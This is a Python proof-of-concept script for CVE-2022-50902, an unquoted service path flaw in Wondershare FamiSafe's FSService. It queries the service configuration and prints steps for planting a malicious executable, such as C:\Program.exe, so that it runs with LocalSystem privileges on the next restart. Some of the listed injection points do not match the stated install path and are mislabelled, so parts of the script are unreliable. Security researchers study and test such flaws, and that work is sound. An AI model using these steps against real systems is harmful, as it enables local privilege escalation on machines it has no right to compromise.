CVE-2022-50902: Wondershare FamiSafe FSService未引用服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2022-50902 PoC - Wondershare FamiSafe FSService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Wondershare FamiSafe import os import sys import subprocess def check_vulnerability(): """Check if the target system is vulnerable to CVE-2022-50902""" try: # Query the FSService using WMIC or sc command result = subprocess.run( ['sc', 'qc', 'FSService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path contains spaces and is not quoted if ' ' in path and not (path.startswith('"') and path.endswith('"')): print(f"[+] VULNERABLE: Unquoted path detected: {path}") print(f"[+] Attack vector: Place malicious executable in intermediate path") return True else: print(f"[-] NOT VULNERABLE: Path is properly quoted") return False return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def exploit(): """Generate exploit payload location""" vulnerable_path = r"C:\Program Files (x86)\Wondershare\FamiSafe\FSService.exe" print("\n[*] Exploitation steps for CVE-2022-50902:") print("=" * 60) print("1. Create malicious executable (e.g., Program.exe)") print(f"2. Place it at: C:\\Program.exe") print("3. Wait for service restart or system reboot") print("4. Malicious code will execute with LocalSystem privileges") print("\n[*] Potential injection points:") print(" - C:\\Program.exe (before 'Program Files')") print(" - C:\\Program Files\\FamiSafe.exe (before 'Wondershare')") print(" - C:\\Program Files (x86)\\Wondershare.exe (before 'Wondershare')") print("=" * 60) if __name__ == "__main__": print("CVE-2022-50902 - Wondershare FamiSafe FSService Unquoted Service Path") print("=" * 70) if os.name == 'nt': if check_vulnerability(): exploit() else: print("\n[-] Target is not vulnerable to this CVE") else: print("[-] This exploit only works on Windows systems")